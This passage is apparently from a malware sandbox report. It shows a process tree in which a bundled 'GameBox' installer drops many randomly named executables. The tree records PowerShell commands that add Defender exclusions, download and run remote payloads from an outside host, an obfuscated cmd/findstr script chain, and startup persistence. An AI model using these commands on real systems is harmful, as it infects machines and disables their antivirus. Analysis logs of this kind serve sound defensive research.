                                                                                                                                                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629289462 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:6668
                                                                                                                                                              • C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
                                                                                                                                                                "C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
                                                                                                                                                                5⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:5684
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmpDB29_tmp.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\tmpDB29_tmp.exe"
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:7152
                                                                                                                                                                    • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                                                                      "C:\Windows\System32\dllhost.exe"
                                                                                                                                                                      7⤵
                                                                                                                                                                        PID:7636
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks
                                                                                                                                                                        7⤵
                                                                                                                                                                          PID:4900
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            cmd
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:6256
                                                                                                                                                                              • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                findstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:6096
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                  Esplorarne.exe.com i
                                                                                                                                                                                  9⤵
                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                  PID:5936
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                    10⤵
                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                                                                    PID:5580
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                      11⤵
                                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                                      PID:2776
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                        12⤵
                                                                                                                                                                                          PID:6312
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                            13⤵
                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                            PID:7352
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                              14⤵
                                                                                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                                                                                              PID:8224
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                15⤵
                                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                PID:8896
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                  PID:8288
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                    PID:8256
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                        PID:7520
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                          19⤵
                                                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                          PID:8380
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                            PID:8668
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                                PID:6452
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                  PID:7888
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                                    23⤵
                                                                                                                                                                                                                      PID:8544
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                                        24⤵
                                                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                        PID:7900
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                                          25⤵
                                                                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                          PID:8012
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                                            26⤵
                                                                                                                                                                                                                              PID:4264
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                                                                27⤵
                                                                                                                                                                                                                                • Drops startup file
                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                PID:7764
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
                                                                                                                                                                                                                                  28⤵
                                                                                                                                                                                                                                    PID:7828
                                                                                                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                              ping GFBFPSXA -n 30
                                                                                                                                                                                              9⤵
                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                              PID:2532
                                                                                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
                                                                                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                      PID:2072
                                                                                                                                                                                      • C:\Users\Admin\Documents\qL6aTZpt7EGmGbtBJS6N5qFn.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\qL6aTZpt7EGmGbtBJS6N5qFn.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:5908
                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:7904
                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                                                8⤵
                                                                                                                                                                                                  PID:3804
                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                    PID:7372
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                      PID:5252
                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:8360
                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                        powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', 'C:\Users\Admin\AppData\Local\Temp\\installer.exe')
                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                          PID:4792
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe')
                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                            PID:7636
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe')
                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                              PID:8392
                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\installer.exe'
                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                                                                              PID:8600
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                  PID:6728
                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                      PID:3308
                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                          PID:8540
                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                            PID:8080
                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                            PID:8384
                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                              PID:896
                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe'
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                        PID:4264
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                          • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                          PID:6024
                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe'
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                          PID:6348
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\launcher.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\launcher.exe"
                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                            PID:7020
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\launcher.exe
                                                                                                                                                                                                                              "{path}"
                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                PID:2608
                                                                                                                                                                                                                      • C:\Users\Admin\Documents\SVvTp6XVgmDjaupwhiCU_XLU.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Documents\SVvTp6XVgmDjaupwhiCU_XLU.exe"
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:6980
                                                                                                                                                                                                                        • C:\Users\Admin\Documents\6LGTDlklqHr_ugBFTS3a5F3S.exe
                                                                                                                                                                                                                          "C:\Users\Admin\Documents\6LGTDlklqHr_ugBFTS3a5F3S.exe"
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                          PID:4872
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\6LGTDlklqHr_ugBFTS3a5F3S.exe
                                                                                                                                                                                                                            C:\Users\Admin\Documents\6LGTDlklqHr_ugBFTS3a5F3S.exe
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:7084
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\R4FS14llhaVLNhuh_1UBG_AQ.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Documents\R4FS14llhaVLNhuh_1UBG_AQ.exe"
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                            PID:7064
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\XlOBmTALDmdzGggBxgXkTNmj.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Documents\XlOBmTALDmdzGggBxgXkTNmj.exe"
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:7128
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\UCtx358U5TchEyetzkgw2nIz.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\UCtx358U5TchEyetzkgw2nIz.exe"
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:4932
                                                                                                                                                                                                                                • C:\Users\Admin\Documents\UCtx358U5TchEyetzkgw2nIz.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\UCtx358U5TchEyetzkgw2nIz.exe" -q
                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                    PID:2456
                                                                                                                                                                                                                                • C:\Users\Admin\Documents\53PbrfpT0qr62bA86N2Ta3Bh.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\53PbrfpT0qr62bA86N2Ta3Bh.exe"
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:7032
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\2584156.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\2584156.exe"
                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                        PID:8056
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\5515754.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\5515754.exe"
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                        PID:6892
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\3230219.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\3230219.exe"
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                          PID:5964
                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\tBIIRqgrtYKUb48H5anb4_Tw.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\tBIIRqgrtYKUb48H5anb4_Tw.exe"
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:6092
                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\zr97cx4azYVfX6pY_pzTXCPo.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\zr97cx4azYVfX6pY_pzTXCPo.exe"
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                          PID:5604
                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\zr97cx4azYVfX6pY_pzTXCPo.exe
                                                                                                                                                                                                                                            C:\Users\Admin\Documents\zr97cx4azYVfX6pY_pzTXCPo.exe
                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                              PID:7792
                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\RQU1Eeyjr6k0VykU51pCFFZr.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\RQU1Eeyjr6k0VykU51pCFFZr.exe"
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:6392
                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\0UDlIYAqdx58fbBuKxF2FjgJ.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\0UDlIYAqdx58fbBuKxF2FjgJ.exe"
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                              PID:2460
                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\Ub5x4PDB1ffO3V76nVSdRb5L.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\Ub5x4PDB1ffO3V76nVSdRb5L.exe"
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:6532
                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\Ub5x4PDB1ffO3V76nVSdRb5L.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\Ub5x4PDB1ffO3V76nVSdRb5L.exe"
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                  PID:300
                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\Osccyot2yP01jdLiZSrbU4EO.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\Osccyot2yP01jdLiZSrbU4EO.exe"
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:6672
                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\6UIpSNXQ6X1bGK6xwzbZrjMo.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\6UIpSNXQ6X1bGK6xwzbZrjMo.exe"
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                  PID:6468
                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\QzzWzAr_j9Kq5r6IcoTisXGL.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\QzzWzAr_j9Kq5r6IcoTisXGL.exe"
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:6248
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 668
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:7264
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 652
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:7660
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 680
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:7960
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 636
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:8088
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 1128
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:7436
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 1076
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:5864
                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\vrLdEfNDqg6wjThV5I51bglQ.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\vrLdEfNDqg6wjThV5I51bglQ.exe"
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                    PID:5368
                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\vrLdEfNDqg6wjThV5I51bglQ.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\vrLdEfNDqg6wjThV5I51bglQ.exe
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:7724
                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\bUfEnV2QckatfhO4vurM77nc.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\bUfEnV2QckatfhO4vurM77nc.exe"
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:5780
                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\vwqOzdi1PVwJK8OTScrNyxPr.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\vwqOzdi1PVwJK8OTScrNyxPr.exe"
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                        PID:7252
                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\VHeR3A327UOUv2ALnQd1Z4r1.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\VHeR3A327UOUv2ALnQd1Z4r1.exe"
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                        PID:7244
                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\VHeR3A327UOUv2ALnQd1Z4r1.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\VHeR3A327UOUv2ALnQd1Z4r1.exe
                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                            PID:5548
                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\VHeR3A327UOUv2ALnQd1Z4r1.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\VHeR3A327UOUv2ALnQd1Z4r1.exe
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                              PID:5820
                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\Od44Rf8EHJH4T2sW1PLJmC6c.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\Od44Rf8EHJH4T2sW1PLJmC6c.exe"
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                            PID:7236
                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\qwwWF3SlQK2K0TSU2M1vJNke.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\qwwWF3SlQK2K0TSU2M1vJNke.exe"
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:7228
                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\eHGLHEnRYqK4VhmYDOUgPfia.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\eHGLHEnRYqK4VhmYDOUgPfia.exe"
